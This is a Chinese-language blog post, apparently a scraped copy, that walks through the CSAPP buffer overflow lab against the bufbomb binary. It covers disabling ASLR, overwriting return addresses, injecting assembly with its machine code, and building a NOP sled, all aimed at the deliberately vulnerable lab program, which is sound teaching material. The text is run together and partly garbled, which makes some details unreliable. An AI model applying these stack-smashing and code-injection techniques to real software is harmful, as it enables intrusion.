当前位置: 首页 > Linux

缓冲区溢出:栈溢出攻击实验

时间:2023-04-07 00:52:03 Linux

前言这是CSAPP官网的一个著名实验,通过注入汇编代码实现栈溢出攻击。实验资料可以在我的github仓库https://github.com/Cheukyin/C...下载linux,默认开启ASLR。每次加载程序,变量地址都会不同,所以如果要关闭ASLR:sysctl-wkernel。randomize_va_space=0(赋值2,可以开启ASLR)不过这个实验的程序好像做了特殊处理,正常编译的程序的栈在不关闭ASLR的情况下是不可执行的,而是加了一个编译选项可以打开这个实验。程序应该已经开启了可执行选项,Level0,修改getbuf()的返回地址,让程序执行smoke打开gdb,给getbuf设置断点,r-ucheukyin80491f4:55push%ebp80491f5:89e5mov%esp,%ebp80491f7:83ec38sub$0x38,%esp80491fa:8d45d8lea-0x28(%ebp),%eax80491fd:890424mov%eax,(%esp)8049200:e8f5faffff调用8048cfa8049205:b801000000mov$0x1,%eax804920a:c9leave804920b:c3ret上面代码表示buf的地址为ebp-0x28,地址存放在eaxprint$ebp+4==>0x55683884printeax==>0x55683858两者相差44个字节,所以需要输入44个普通字符,在smoke的输入地址处打印smoke==>0x8048c18hex并将结果保存在level0-smoke-hex.txt./hex2raw0x804d100#movcheukyincookietoglobal_valuemov$0x3955ae84,%eaxmov08#04eaxd,10跳转到ret先把bang地址压栈,然后修改global_value的值为cheukin的cookie,最后ret跳转到banggcc-m32-clevel2-firecracker-assembly.S生成目标文件objdump-dlevel2-firecracker-assembly.o>level2-firecracker-assembly.ddisassemblelevel2-firecracker-assembly.d:0:689d8c0408push$0x8048c9d5:b884ae5539mov$0x3955ae84,%eaxa:a300d10408mov%eax,0x804d100f:c3retgdb:print$ebp+8==>0x55683888将机器码填入上述地址,然后将get_buf的返回地址修改为上述地址./hex2raw0x55683880返回地址应该是bufaddress:print$ebp-0x28==>0x55683858注入代码需要将cookie移动到eax并返回正确地址:#ingetbuf:x/wx$ebp+4==>0x08048dbe#pushget_buf的returnaddresspushl$0x08048dbe#returncheukyin'scookietotestmovl$0x3955ae84,%eax#returntoretgcc-m32-clevel3-Dynamite-assembly.Sobjdump-dlevel3-Dynamite-assembly.o>level3-Dynamite-assembly.d填充生成的机器码进入buf./hex2raw:8089e3245f4mov%eax,-0xc(%ebp)8048e35:e8d2030000call804920c8048e3a:89c3mov%eax,%ebxgetbufn正常返回之后应该返回8048e3a。此时ebp=esp+0x28,所以要添加注入代码使用esp恢复ebp语句如下:#testn的ebp是固定的#read的汇编代码和calculatelea0x28(%esp),%ebp#查看bufbomb_32.S#pushgetbufn的返回地址pushl$0x08048e3a#返回cheukyin的cookie给testmovl$0x3955ae84,%eax#returntoret查看其机器码:0:8d6c2428lea0x28%(%esp),ebp4:683a8e0408推送$0x8048e3a9:b884ae5539mov$0x3955ae84,%eaxe:c3ret此时,又出现了一个问题。如果ebp不固定,则getbufn中字符串数组buf的地址也不固定。如何修改getbufn的返回地址来执行注入代码?查看通过gdb读入getbufn的字符串buf地址(即eax),对于同一个userid,会给出相同的地址序列。视觉检查是伪随机的,以userid作为种子。五次运行给出的地址是:0x556836780x556836980x556836c80x556835f80x55683668根据提示采用nopsleds技术,大意是:当不知道有效机器码的入口地址时,可以用大量的填充nop机器指令(0x90)在有效机器码之前。只要跳转地址在这些nop上,就可以到达有效的机器码,因为栈上的机器码是按地址从低到高依次执行的。为保证有效机器码能够顺利执行5次,需要满足:跳转地址位于有效机器码入口地址之前的nop机器指令填充区。这就需要尽可能的增加noppaddingarea,并且尽可能的把有效的机器码段后移。所以返回地址选择最高地址:0x556836c8由getbufn代码8049215汇编:8d85f8fdfffflea-0x208(%ebp),%eax说明buf地址和存放返回地址的单元是分开的by0x208+4=0x20cbytesandinjectioncode一共有15个字节,所以需要在buf开头填写0x20c-15nop(0x90)然后填写机器码和返回地址./hex2raw-n